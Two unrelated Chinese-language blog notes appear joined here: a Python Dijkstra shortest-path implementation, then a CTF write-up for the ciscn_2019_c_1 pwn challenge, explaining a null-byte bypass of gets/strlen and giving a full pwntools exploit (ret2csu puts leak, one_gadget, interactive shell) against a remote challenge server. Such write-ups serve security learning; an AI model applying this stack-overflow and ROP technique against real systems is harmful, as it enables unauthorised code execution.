离散课上图论的时候讲了理论知识，但是还没实践过，于是拿python写了一下，顺便做个笔记防止忘记。

python自带的数据结构比较丰富，写起来的确顺滑很多，太香了md

mymap = {
    1:{1:0,3:10,5:30,6:100},
    2:{2:0,3:5},
    3:{3:0,4:50},
    4:{4:0,6:10},
    5:{4:20,5:0,6:60},
    6:{6:0}
}
max_len = 1000000

T = set() #完成最短路搜索的点集
dis = {} #起始点到其它点的距离，初始化无穷
for i in mymap.keys(): #把max_len视作无穷大
    dis[i] = max_len

start = int(input("strat:"))
end = int(input("end:"))
dis[start] = 0 #初始化源点

def get_min_key(dis:dict): #检索出T集合外的最短路
    _min_k = 0
    _min_v = max_len
    for i in dis.keys():
        if dis[i]<=_min_v and i not in T:
            _min_k = i
            _min_v = dis[i]
    return _min_k

def dijkstra(end):
    while len(T)<len(mymap): #当所有点的最短路找到后结束循环
        _min_k = get_min_key(dis)
        T.add(_min_k) #取出T集合外dis的最小值做最短路
        '''到下一个点的最短路就是一条最短路，因为如果有两条路的权加起来更短，则第一条路就要是最短的'''
        for i in mymap[_min_k].keys(): #遍历该点所有相邻点找更短路
            if dis[_min_k] + mymap[_min_k][i] < dis[i] and i not in T: #有更短路则更新当前dis
                dis[i] = dis[_min_k] + mymap[_min_k][i]
    print(dis[end]) if dis[end]!=max_len else print("+∞")

dijkstra(end)

本质上是个很简单的pwn，但是开头对payload的异或运算破坏了payload结构，于是一直想着怎么构造payload，忽略了一个绕过技巧。

0x00

题目本身不复杂，可以操作的就是一个加密功能，gets读取输入的内容并做异或加密后输出。存在溢出，但是payload结构会被破坏。

关键代码：

int encrypt()
{
  size_t index; // rbx
  char s[48]; // [rsp+0h] [rbp-50h]
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    index = (unsigned int)x;    // 只要在payload放置一个\x00就可以绕过了(strlen和strcmp的通病)
    if ( index >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

可以发现，gets读取输入内容进入while循环之后是由strlen检查长度。经过试验发现gets在回车处结束而\x00可以被正常读入，但是strlen是从字符串开头检测到第一个\x00截断，所以只要在payload的开头置0让strlen判断错误就可以避免对payload的破坏。

往下就是简单的ret2csu+one_gadget，值得注意的是ubuntu18的平台栈老是存在玄学栈对齐问题，要注意多试试用ret gadget 去对齐栈使得程序正常运行。

0x01 完整exp

from pwn import *

#p = process("ciscn_2019_c_1")
p = remote("node3.buuoj.cn",28487)
elf = ELF("ciscn_2019_c_1")
#libc = ELF("libc.so.6")
libc = ELF("libc2.27.so")

context.log_level = "debug"

main = 0x400B28

gadget_1 = 0x400C7A
gadget_2 = 0x400C60

puts_got=elf.got[b"puts"]
onegadget_offset = 0x10a38c
ret = 0x4006b9

offset = 80+8
payload1 = b"a"*(offset-1) + p64(gadget_1) + p64(0) + p64(1) + p64(puts_got) + p64(0) + p64(0) + p64(puts_got)
payload1+= p64(gadget_2) + b"a"*56 + p64(ret)+ p64(ret)+p64(main)
p.recvuntil(b"Input your choice!\n")
p.sendline(b"1")
p.recvuntil(b"Input your Plaintext to be encrypted\n")
p.sendline(b"\x00"+payload1)

p.recv(12)
puts = u64(p.recv(6).ljust(8,b"\x00"))
onegadget = onegadget_offset - libc.symbols[b"puts"] + puts
print("puts:",hex(puts))
print("onegadget:",hex(onegadget))

payload2 = b"a"*(offset-1)  + p64(ret)+ p64(ret)+ p64(ret)+p64(onegadget)
p.recvuntil(b"Input your choice!\n")
p.sendline(b"1")
p.recvuntil(b"Input your Plaintext to be encrypted\n")
p.sendline(b"\x00"+payload2)

p.interactive()